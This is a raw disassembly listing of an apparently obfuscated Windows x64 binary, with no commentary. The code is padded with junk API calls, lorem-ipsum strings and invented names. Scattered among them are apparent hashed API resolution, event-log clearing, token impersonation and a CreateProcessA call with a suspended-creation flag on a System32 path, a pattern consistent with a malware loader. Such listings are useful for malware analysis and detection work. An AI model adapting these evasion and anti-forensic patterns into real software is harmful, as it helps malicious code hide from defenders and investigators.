mov rdi, qword [sym.imp.KERNEL32.dll_OpenEventA]
xor edx, edx
xor ecx, ecx
lea r8, str.Voluptate_illum_alias_ad_et_fugiat_a_suscipit_maxime_iste_unde_qui_nobis_pariatur
call rdi
mov rax, qword [0x004cbd40]
xor ecx, ecx
mov dword [rax], 0x780e2e3b
mov rax, qword [rsp + 0x58]
call rax
xor edx, edx
lea rcx, str.VirgieWunsch
call rsi
mov rax, qword [0x004cbec0]
mov r11, qword [rsp + 0x78]
xor ecx, ecx
xor r8d, r8d
mov edx, dword [rax]
mov rax, qword [0x004cc370]
mov dword [rax], edx
xor edx, edx
call r11
mov rax, qword [0x004cc4c0]
lea rdx, str.Tempore_dignissimos_sequi_ut_aut_doloribus_alias_quibusdam
xor ecx, ecx
mov dword [rax], 0x2465ec82
call r15
mov rax, qword [0x004cc320]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbc00]
lea r8, str.MsJuanaNolanJr
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rdi
xor ecx, ecx
mov rax, qword [rsp + 0x68]
call rax
lea rdx, str.AdrienWindler
lea rcx, str.Consequatur_necessitatibus_voluptatem_consequatur_voluptatem_fuga_quia_recusandae
call qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
mov ecx, 0xb59097c2
call fcn.00413350
mov rdx, qword [0x004cbca0]
lea rcx, str.Sed_voluptatem_sunt_aut_voluptatem_omnis_rerum
mov dword [rdx], eax
lea rdx, str.ProfMosheConnII
call rbx
xor edx, edx
lea rcx, str.Perferendis_repellat_impedit_itaque_voluptates_voluptatum_dolor
mov rax, qword [rsp + 0x60]
call rax
lea rdx, str.Beatae_ipsum_architecto_quo_nostrum
lea rcx, str.Error_aliquam_facilis_sint_at_saepe_repellat_ut_voluptatem_in_aut
call rbx
mov r15, qword [0x004cc340]
mov rdx, qword [0x004cc420]
mov ecx, dword [r13]
mov eax, dword [r15]
mov dword [rdx], eax
mov rax, qword [0x004cbe90]
mov dword [rax], 0x6b8b84b5
call fcn.00413350
mov rdx, qword [0x004cc4b0]
xor ecx, ecx
mov dword [rdx], eax
call r12
xor ecx, ecx
mov r12, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
call r12
mov r13, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
call r13
mov rax, qword [0x004cc420]
mov rdx, qword [0x004cc4b0]
xor ecx, ecx
mov r9, qword [rsp + 0x80]
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
call r9
mov rax, qword [0x004cc120]
mov rdx, qword [0x004cc4c0]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004cbd50]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc2e0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004cc230]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cc150]
mov dword [rax], edx
mov rax, qword [0x004cbd80]
mov edx, dword [rax]
mov rax, qword [0x004cc130]
mov dword [rax], edx
xor edx, edx
call rbp
mov rax, qword [0x004cbd30]
xor ecx, ecx
mov dword [rax], 0xb7b416e
mov rax, qword [0x004cc0d0]
mov dword [rax], 0x45d1ba9a
call r14
lea rdx, str.NyahBatz
lea rcx, str.Qui_et_recusandae_nulla_doloremque_voluptatem
call rbx
lea rdx, str.CarletonGottlieb
lea rcx, str.Quo_at_quis_est_vitae_nostrum_est_molestias_atque
call rbx
xor ecx, ecx
call r13
mov rax, qword [0x004cc440]
mov ecx, 0xf273330d
mov dword [rax], 0xd86e206e
call fcn.00413350
mov rdx, qword [0x004cbe80]
lea r8, str.MrFreddieHill
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cc3e0]
xor edx, edx
mov dword [rax], 0x11402888
call rdi
xor edx, edx
lea rcx, str.EileenKoepp
call rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea r8, str.Et_sint_quos
xor edx, edx
xor ecx, ecx
call rdi
mov rax, qword [0x004cc430]
xor edx, edx
lea rcx, str.MrsAubreyLittle
mov dword [rax], 0x6d732361
mov rax, qword [rsp + 0x60]
call rax
mov rax, qword [0x004cc180]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xf4da608f
call qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor ecx, ecx
mov rax, qword [rsp + 0x68]
call rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
xor ecx, ecx
call r12
mov rax, qword [0x004cbe70]
lea r8, str.GenovevaKozeyDDS
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cbee0]
mov dword [rax], edx
xor edx, edx
call rdi
lea rdx, str.AbdullahKovacek
lea rcx, str.HertaWatsica
call rbx
mov ecx, 0xc1b751cf
mov dword [r15], 0xdefe262f
call fcn.00413350
mov rsi, qword [0x004cc3e0]
mov ecx, 0x1b5d8625
mov dword [rsi], eax
call fcn.00413350
mov rdx, qword [0x004cbe60]
mov ecx, 0xbbd0ef6e
mov dword [rdx], eax
call fcn.00413350
mov rbx, qword [0x004cbed0]
xor ecx, ecx
mov dword [rbx], eax
call r14
xor ecx, ecx
mov r10, qword [rsp + 0x88]
call r10
mov rax, qword [rsp + 0x70]
xor ecx, ecx
call rax
mov rax, qword [rsp + 0x9a0]
lea rcx, [rsp + 0x540]
lea r9, [rsp + 0x140]
mov edx, 0x400
lea r8, str._sSystem32_s
mov qword [rsp + 0x20], rax
call qword [sym.imp.msvcrt.dll__snprintf]
mov rax, qword [0x004cc250]
cmp dword [rax], 0
je 0x4092fc
mov r11, qword [0x004cbbc0]
mov rax, qword [0x004cc4d0]
mov ecx, 0x60910cb8
mov rsi, qword [0x004cbba0]
mov edx, dword [r11]
mov dword [rax], edx
mov rax, qword [0x004cbbf0]
mov eax, dword [rax]
mov dword [rsi], eax
call fcn.00413350
mov r13, qword [0x004cc160]
mov ecx, 0x90fe5d1c
mov dword [r13], eax
call fcn.00413350
mov rdx, qword [0x004cc080]
mov r15, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
mov dword [rdx], eax
call r15
mov ecx, 0xee2980c4
call fcn.00413350
mov rdx, qword [0x004cc4c0]
mov dword [rsi], 0x584cee5b
lea rcx, str.MabelReilly
mov dword [rdx], eax
mov rax, qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
xor edx, edx
mov qword [rsp + 0x58], rax
call rax
mov rax, qword [0x004cc130]
mov rdi, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
mov dword [rax], 0xef90580d
mov rax, qword [0x004cc2d0]
mov dword [rax], 0xc3e8a52c
call rdi
mov rax, qword [0x004cbbd0]
xor edx, edx
xor ecx, ecx
mov r14, qword [sym.imp.KERNEL32.dll_OpenEventA]
lea r8, str.SamanthaRussel
mov dword [rax], 0xee2a8816
mov rax, qword [0x004cc300]
mov dword [rax], 0x30086e9a
call r14
mov rax, qword [0x004cbd60]
mov rbp, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cc350]
mov dword [rax], edx
call rbp
mov rax, qword [0x004cbcb0]
mov r8, qword [0x004cc210]
xor ecx, ecx
mov r9, qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
mov rbx, qword [0x004cc200]
mov dword [rax], 0x11bcce21
mov rax, qword [0x004cc220]
mov qword [rsp + 0x68], r9
mov edx, dword [rax]
mov rax, qword [0x004cc470]
mov dword [rax], edx
mov eax, dword [r8]
xor edx, edx
mov dword [rbx], eax
call r9
mov rax, qword [0x004cbbe0]
mov r12, qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cc0e0]
mov dword [rax], edx
xor edx, edx
call r12
mov rbx, qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
lea rdx, str.Illum_totam_praesentium_quas_provident_repellendus_asperiores_alias_et_deserunt_omnis
lea rcx, str.MrsMarcellaKuvalisJr
call rbx
xor ecx, ecx
call rdi
mov rax, qword [0x004cc3c0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc480]
xor ecx, ecx
mov dword [rdx], eax
call r15
mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
xor ecx, ecx
mov qword [rsp + 0x60], rax
call rax
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov rax, qword [0x004cbd90]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xb8114757
call r12
mov eax, dword [rsi]
mov ecx, 0x26a2502
mov dword [r13], eax
call fcn.00413350
mov rdx, qword [0x004cc460]
mov ecx, dword [rsi]
mov dword [rdx], eax
call fcn.00413350
mov r10, qword [sym.imp.KERNEL32.dll_GetFileType]
mov rsi, qword [0x004cbc20]
xor ecx, ecx
mov qword [rsp + 0x78], r10
mov dword [rsi], eax
call r10
mov rsi, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
call rsi
mov r15, qword [0x004cc0c0]
mov ecx, dword [r15]
call fcn.00413350
mov rdx, qword [0x004cc3b0]
xor ecx, ecx
mov r13, qword [0x004cc1a0]
mov r9, qword [rsp + 0x68]
mov dword [rdx], eax
mov rax, qword [str._mf]
xor edx, edx
mov eax, dword [rax]
mov dword [r13], eax
call r9
mov r9, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.AmelieKutch
lea rcx, str.Beatae_saepe_est_velit
mov qword [rsp + 0x70], r9
call r9
mov rax, qword [0x004cc2c0]
mov ecx, dword [rax]
call fcn.00413350
mov r8, qword [0x004cc210]
mov ecx, 0xad7c4e64
mov dword [r8], eax
mov rax, qword [0x004cbeb0]
mov eax, dword [rax]
mov dword [r15], eax
call fcn.00413350
mov rdx, qword [0x004cbe80]
xor ecx, ecx
mov dword [rdx], eax
call rdi
mov r11, qword [0x004cbbc0]
mov ecx, dword [r11]
call fcn.00413350
mov r15, qword [0x004cbd20]
mov ecx, 0x9d15dba2
mov rdx, qword [0x004cbda0]
mov rdi, qword [0x004cc200]
mov dword [rdx], eax
mov eax, dword [r15]
mov dword [rdi], eax
mov rax, qword [0x004cc140]
mov dword [rax], 0x9250816f
call fcn.00413350
mov rdx, qword [0x004cc2f0]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
xor ecx, ecx
mov dword [rdx], eax
call rdi
xor edx, edx
lea r8, str.IsaiShanahan
xor ecx, ecx
call r14
mov r11, qword [sym.imp.KERNEL32.dll_ReleaseMutex]
xor ecx, ecx
mov qword [rsp + 0x68], r11
call r11
lea r8, str.Voluptas_eligendi_repellendus_non
xor edx, edx
xor ecx, ecx
call r14
xor ecx, ecx
call rdi
mov ecx, 0xd95acb26
call fcn.00413350
mov dword [r15], eax
mov rax, qword [0x004cc230]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc220]
mov r9, qword [rsp + 0x70]
lea rcx, str.Voluptatem_tempora_eius_suscipit
mov dword [rdx], eax
lea rdx, str.Aspernatur_sunt_repellendus_dolor_at_consequatur_doloremque_vero_consequuntur
call r9
mov r14, qword [0x004cbdf0]
mov eax, dword [r13]
mov ecx, 0x53ba24b6
mov dword [r14], eax
call fcn.00413350
mov rdx, qword [0x004cbc80]
lea rcx, str.ProfJulieBayer
mov dword [rdx], eax
mov rax, qword [0x004cc3d0]
mov dword [rax], 0x1c04fc64
mov rax, qword [0x004cbc20]
mov edx, dword [rax]
mov rax, qword [0x004cc430]
mov dword [rax], edx
mov rax, qword [0x004cc120]
lea rdx, str.Quaerat_nam_dolores_quibusdam
mov dword [rax], 0x527daf04
call rbx
xor ecx, ecx
call rbp
mov edx, dword [r13]
mov rax, qword [0x004cbdd0]
xor ecx, ecx
mov dword [rax], edx
mov rax, qword [0x004cc490]
mov rdx, qword [0x004cc3b0]
mov eax, dword [rax]
mov dword [rdx], eax
call rbp
xor ecx, ecx
call rsi
xor ecx, ecx
call rdi
mov rax, qword [0x004cc170]
xor ecx, ecx
mov dword [rax], 0x1e739961
call rsi
xor ecx, ecx
mov r13, qword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
call r13
lea rdx, str.DorthyBrekke
lea rcx, str.Cupiditate_quaerat_repellat_provident_voluptatem_ducimus_laborum_deleniti_provident
call rbx
xor edx, edx
xor ecx, ecx
call r12
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
xor ecx, ecx
call rbp
mov ecx, 0x49f23bde
call fcn.00413350
mov rdx, qword [0x004cc2c0]
mov rbp, qword [0x004cbe50]
lea rcx, str.Quia_architecto_sunt_voluptatem_omnis_nam_libero
mov dword [rdx], eax
mov eax, dword [r14]
xor edx, edx
mov dword [rbp], eax
mov rax, qword [rsp + 0x58]
call rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PurgeComm]
mov r12, qword [0x004cbd00]
lea rdx, str.Adipisci_qui_sapiente_vitae_eius_hic_quasi_voluptas_laboriosam_qui
lea rcx, str.A_dolore_ea_molestias
mov dword [r12], 0xeafd4fc3
call rbx
mov rax, qword [0x004cc0b0]
xor ecx, ecx
mov rdx, qword [0x004cc230]
mov dword [r12], 0xafe3dfb6
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [rsp + 0x60]
call rax
mov rax, qword [0x004cc3e0]
mov edx, dword [rax]
mov rax, qword [0x004cc360]
mov dword [rax], edx
mov rax, qword [0x004cbc30]
mov eax, dword [rax]
mov dword [rbp], eax
mov rax, qword [0x004cbe80]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc2d0]
xor ecx, ecx
mov dword [rdx], eax
call rdi
xor edx, edx
mov rdi, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
lea rcx, str.KennaJerde
call rdi
mov rax, qword [0x004cbee0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc3d0]
xor ecx, ecx
mov r11, qword [rsp + 0x68]
mov dword [rbp], 0xbf7c1ec1
mov dword [rdx], eax
mov rax, qword [0x004cc300]
mov dword [rax], 0x1db3bd6a
call r11
mov ecx, 0x777c435a
call fcn.00413350
xor ecx, ecx
mov dword [r15], eax
mov rax, qword [0x004cbc50]
mov dword [rax], 0xb2c0ef4e
call rsi
xor ecx, ecx
call r13
xor edx, edx
lea rcx, str.Adipisci_doloribus_saepe_eaque_autem_ratione_quia_aut_ea_earum_commodi
call rdi
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindNextStreamW]
mov rax, qword [0x004cc180]
xor ecx, ecx
mov dword [rax], 0xce3a79f3
mov rax, qword [0x004cc3c0]
mov edx, dword [rax]
mov rax, qword [0x004cc330]
mov dword [rax], edx
mov rax, qword [0x004cc3f0]
mov dword [rax], 0xc0494c0d
mov rax, qword [0x004cbbd0]
mov dword [rax], 0x4d3353ea
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
lea rdx, str.Veniam_adipisci_voluptates_officia_asperiores
lea rcx, str.FannieMoore
call rbx
mov rbx, qword [sym.imp.ADVAPI32.dll_ClearEventLogA]
lea rdx, str.HarrisonKunde
xor ecx, ecx
call rbx
lea rdx, str.JabariRempel
xor ecx, ecx
call rbx
mov r10, qword [rsp + 0x78]
xor ecx, ecx
call r10
xor edx, edx
lea rcx, str.ProfRuthSchulist
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004cbce0]
mov ecx, 0xb9c6fad9
mov dword [rax], 0xf391ea7f
call fcn.00413350
mov rdx, qword [0x004cbed0]
mov ecx, 0xedca9071
mov dword [rdx], eax
call fcn.00413350
mov rsi, qword [0x004cc140]
mov dword [rsi], eax
lea rax, [rsp + 0xc0]
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xd8]
lea rdx, [rsp + 0x540]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x40b369
mov rax, qword [0x004cc250]
cmp dword [rax], 0x7dbd
jle 0x409a92
mov rsi, qword [sym.imp.ADVAPI32.dll_RegFlushKey]
xor ecx, ecx
call rsi
mov rax, qword [0x004cc2e0]
mov rbx, qword [0x004cc070]
xor ecx, ecx
lea r8, str.Aperiam_et_natus_quos_qui_odio_odio_harum
mov eax, dword [rax]
mov dword [rbx], eax
mov rax, qword [0x004cbe20]
mov edx, dword [rax]
mov rax, qword [0x004cbd30]
mov dword [rax], edx
mov rax, qword [sym.imp.KERNEL32.dll_OpenEventA]
xor edx, edx
mov qword [rsp + 0x60], rax
call rax
mov r9, qword [sym.imp.KERNEL32.dll_PurgeComm]
xor edx, edx
xor ecx, ecx
mov rax, qword [0x004cc180]
mov qword [rsp + 0x90], r9
mov dword [rax], 0x728e9d10
call r9
mov rax, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
mov qword [rsp + 0x58], rax
call rax
mov rbx, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [0x004cbbd0]
mov rdi, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
mov dword [rax], 0xe0034e3e
call rdi
mov r10, qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x80], r10
call r10
mov rax, qword [0x004cbea0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc100]
mov r13, qword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
xor ecx, ecx
mov dword [rdx], eax
call r13
xor edx, edx
xor ecx, ecx
call rbx
xor ecx, ecx
call rdi
mov rbp, qword [0x004cbc10]
mov ecx, dword [rbp]
call fcn.00413350
mov rdx, qword [0x004cbd10]
mov r15, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
mov dword [rdx], eax
call r15
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [sym.imp.ADVAPI32.dll_ClearEventLogA]
xor ecx, ecx
lea rdx, str.MrLavernaKautzer
mov qword [rsp + 0x68], rax
call rax
mov r12, qword [0x004cc0d0]
mov rax, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
mov dword [r12], 0x75cac992
mov qword [rsp + 0x70], rax
call rax
xor ecx, ecx
call rdi
xor ecx, ecx
call r13
mov ecx, dword [rbp]
mov rax, qword [0x004cc470]
mov dword [rax], 0x28c84d62
call fcn.00413350
mov dword [r12], eax
mov rax, qword [0x004cc120]
mov dword [rax], 0x52fd0d82
mov rax, qword [0x004cbd20]
mov ecx, dword [rax]
call fcn.00413350
mov r14, qword [0x004cc420]
mov ecx, 0x242c03a3
mov rdx, qword [0x004cc1d0]
mov dword [rdx], eax
mov edx, dword [r14]
mov rax, qword [0x004cbc50]
mov dword [rax], edx
call fcn.00413350
mov rdx, qword [0x004cbc30]
xor ecx, ecx
mov dword [rbp], eax
mov rax, qword [0x004cc380]
mov eax, dword [rax]
mov dword [rdx], eax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov r12, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
call r12
mov rax, qword [0x004cc100]
mov ecx, dword [rax]
call fcn.00413350
mov r11, qword [sym.imp.KERNEL32.dll_SetLastError]
mov rdx, qword [0x004cc060]
xor ecx, ecx
mov qword [rsp + 0x78], r11
mov dword [rdx], eax
call r11
mov rbp, qword [sym.imp.KERNEL32.dll_FlushConsoleInputBuffer]
xor ecx, ecx
call rbp
mov rax, qword [0x004cbd90]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbc30]
xor ecx, ecx
mov dword [rdx], eax
call rsi
lea r8, str.Aliquid_eveniet_et_molestias_harum
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
mov rax, qword [0x004cc080]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc4a0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004cbde0]
mov dword [rax], 0x34e7285c
call rsi
mov rax, qword [0x004cc070]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x2a440d7b
call r12
xor ecx, ecx
call r13
mov r8, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.JairoSchulistII
lea rcx, str.Mollitia_quia_enim
mov qword [rsp + 0x88], r8
call r8
xor ecx, ecx
call rbp
mov rax, qword [0x004cbe70]
mov rdx, qword [0x004cc190]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
call r15
mov rax, qword [0x004cc320]
mov rdx, qword [0x004cbc00]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [rsp + 0x58]
call rax
mov ecx, 0xeb319212
call fcn.00413350
mov rdx, qword [0x004cc240]
xor ecx, ecx
mov dword [r14], 0xefdc1247
mov dword [rdx], eax
call qword [sym.imp.ADVAPI32.dll_ImpersonateNamedPipeClient]
mov rax, qword [0x004cbbf0]
xor edx, edx
mov r13, qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
lea rcx, str.TinaVolkman
mov dword [rax], 0x19092cd5
call r13
mov rax, qword [0x004cc3c0]
mov rdx, qword [0x004cbcf0]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
call rdi
mov r14, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
call r14
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [0x004cbd70]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc200]
mov ecx, 0xf54041b
mov dword [rdx], eax
call fcn.00413350
mov rcx, qword [0x004cbcf0]
xor edx, edx
mov dword [rcx], eax
mov rax, qword [0x004cc220]
lea rcx, str.Rerum_sint_non_natus_et
mov dword [rax], 0x7128756
call r13
xor ecx, ecx
call r14
mov rax, qword [0x004cc1d0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc3b0]
mov r10, qword [rsp + 0x80]
mov dword [rdx], eax
xor edx, edx
xor ecx, ecx
call r10
mov rax, qword [0x004cbdd0]
mov dword [rax], 0x17f7006e
mov rax, qword [0x004cbe90]
mov ecx, dword [rax]
mov rax, qword [0x004cbd60]
mov dword [rax], ecx
call fcn.00413350
mov r15, qword [0x004cc130]
mov r11, qword [rsp + 0x78]
xor ecx, ecx
mov dword [r15], eax
call r11
mov rax, qword [0x004cc0a0]
mov ecx, dword [rax]
call fcn.00413350
mov r11, qword [rsp + 0x78]
xor ecx, ecx
mov dword [r15], eax
call r11
xor edx, edx
lea rcx, str.Veniam_occaecati_possimus_voluptate_eum_praesentium_maxime_est
call qword [sym.imp.KERNEL32.dll_GetBinaryTypeA]
mov rax, qword [0x004cbbe0]
mov r8, qword [rsp + 0x88]
lea rcx, str.ProfHunterCorwinDDS
mov edx, dword [rax]
mov rax, qword [0x004cc360]
mov dword [rax], edx
lea rdx, str.CathrineRitchie
call r8
mov r14, qword [0x004cbd40]
mov rcx, qword [0x004cbc60]
mov eax, dword [r14]
mov dword [rcx], eax
xor ecx, ecx
call rbp
mov r15, qword [0x004cc140]
mov ecx, 0xb8244d63
mov eax, dword [r15]
mov dword [r14], eax
mov rax, qword [0x004cc2b0]
mov dword [rax], 0x3893e7bf
call fcn.00413350
mov rdx, qword [0x004cbd60]
mov r10, qword [rsp + 0x80]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r10
mov rax, qword [0x004cc300]
mov ecx, dword [rax]
call fcn.00413350
mov rcx, qword [0x004cc240]
lea rdx, str.MissElisabethGreen
mov dword [rcx], eax
xor ecx, ecx
mov rax, qword [rsp + 0x68]
call rax
mov ecx, 0x22159e2e
call fcn.00413350
mov r14, qword [0x004cbd00]
mov rdx, qword [0x004cc0f0]
mov ecx, dword [r14]
mov dword [rdx], eax
call fcn.00413350
mov rdx, qword [0x004cbcf0]
xor r8d, r8d
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r12
xor ecx, ecx
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004cc240]
mov ecx, dword [rax]
call fcn.00413350
mov rcx, qword [0x004cc080]
mov dword [rcx], eax
mov rax, qword [0x004cbca0]
mov ecx, 0xf8bace4d
mov dword [rax], 0x3ea1a7c3
call fcn.00413350
mov rdx, qword [0x004cc3c0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [rsp + 0x70]
call rax
lea rdx, str.DevynParisian
xor ecx, ecx
mov rax, qword [rsp + 0x68]
call rax
mov ecx, 0xe13f4a61
call fcn.00413350
mov rdx, qword [0x004cbdb0]
mov dword [rdx], eax
mov rax, qword [0x004cbdc0]
mov ecx, dword [rax]
call fcn.00413350
mov rcx, qword [0x004cc190]
xor edx, edx
mov dword [rcx], eax
xor ecx, ecx
call rbx
mov rax, qword [0x004cc080]
mov rdx, qword [0x004cc100]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [rsp + 0x58]
call rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call r12
xor ecx, ecx
mov r12, qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call r12
mov rax, qword [0x004cc180]
xor ecx, ecx
mov eax, dword [rax]
mov dword [r15], eax
call rdi
mov rax, qword [0x004cbc30]
mov rdi, qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
lea rcx, str.Vitae_est_corrupti_architecto_rem_accusantium_aspernatur_atque_id_dignissimos_vero_quia
mov edx, dword [rax]
mov rax, qword [0x004cc4c0]
mov dword [rax], edx
mov rax, qword [0x004cc2c0]
lea rdx, str.TianaRippin
mov dword [rax], 0x41ad5f9f
call rdi
lea r8, str.Dolorem_tempore_culpa_ea_ad_quia
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
mov rax, qword [0x004cc4a0]
mov ecx, dword [rax]
call fcn.00413350
mov rcx, qword [0x004cc3b0]
mov dword [rcx], eax
xor ecx, ecx
call rsi
mov ecx, 0xa56e37af
call fcn.00413350
mov dword [r14], eax
mov rax, qword [0x004cc050]
mov dword [rax], 0xebd13be8
mov rax, qword [0x004cbee0]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cbbd0]
xor ecx, ecx
mov dword [rdx], eax
call r12
xor edx, edx
xor ecx, ecx
call rbx
mov rbx, qword [0x004cbbc0]
mov rcx, qword [0x004cbc60]
lea rdx, str.Quas_dolorem_animi_maxime_occaecati_eveniet_est_ea_quis_voluptatem_et
mov eax, dword [rbx]
mov dword [rcx], eax
mov rax, qword [0x004cc220]
lea rcx, str.Eligendi_sunt_culpa_laborum
mov dword [rax], 0xf56bd32c
call rdi
mov rax, qword [0x004cc220]
mov r9, qword [rsp + 0x90]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cbcc0]
mov dword [rax], edx
mov rax, qword [0x004cc2e0]
xor edx, edx
mov dword [rax], 0x91d422cc
call r9
xor ecx, ecx
call rbp
xor ecx, ecx
mov rax, qword [rsp + 0x70]
call rax
mov rax, qword [0x004cbc20]
xor ecx, ecx
mov dword [rax], 0x44fd916
mov rax, qword [0x004cbc40]
mov eax, dword [rax]
mov dword [rbx], eax
mov rax, qword [0x004cbd50]
mov rbx, qword [0x004cbc80]
mov dword [rax], 0xd9e8a2cb
mov rax, qword [0x004cc2f0]
mov edx, dword [rbx]
mov dword [rax], edx
call rsi
mov rax, qword [0x004cbd80]
mov rsi, qword [0x004cbc00]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rsi], eax
mov rax, qword [rsp + 0x58]
call rax
mov rax, qword [0x004cbca0]
mov ecx, dword [rax]
call fcn.00413350
xor edx, edx
lea rcx, str.Facere_sequi_esse_repellat_et_non_aut_exercitationem_autem
mov dword [rbx], eax
call r13
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x004cc250]
cmp dword [rax], 0x4d45
jle 0x40a2ab
mov rbp, qword [sym.imp.KERNEL32.dll_GetLargestConsoleWindowSize]
xor ecx, ecx
call rbp
mov rax, qword [0x004cc460]
mov rbx, qword [sym.imp.ADVAPI32.dll_RegFlushKey]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004cbe00]
mov dword [rax], edx
mov rax, qword [0x004cbde0]
mov dword [rax], 0x739ce71a
mov rax, qword [0x004cc3c0]
mov dword [rax], 0xcd676c33
call rbx
mov rax, qword [0x004cc430]
mov ecx, dword [rax]
call fcn.00413350
mov rdx, qword [0x004cc0c0]
mov ecx, 0x5acb7876
mov dword [rdx], eax
call fcn.00413350
mov rsi, qword [0x004cbdc0]
lea rdx, str.In_nihil_consectetur_at_non_non_sed
lea rcx, str.Ut_distinctio
mov dword [rsi], eax
mov rsi, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
call rsi
lea rdx, str.AnnabelHansen
lea rcx, str.Et_corrupti_totam_optio
call rsi
mov rax, qword [0x004cbe30]
mov r14, qword [sym.imp.ADVAPI32.dll_ClearEventLogA]
xor ecx, ecx
mov dword [rax], 0xe18a5e24
mov rax, qword [0x004cbdb0]
mov edx, dword [rax]
mov rax, qword [0x004cc330]
mov dword [rax], edx
lea rdx, str.ProfLukasMcClureII
call r14
mov rax, qword [0x004cc420]
xor ecx, ecx
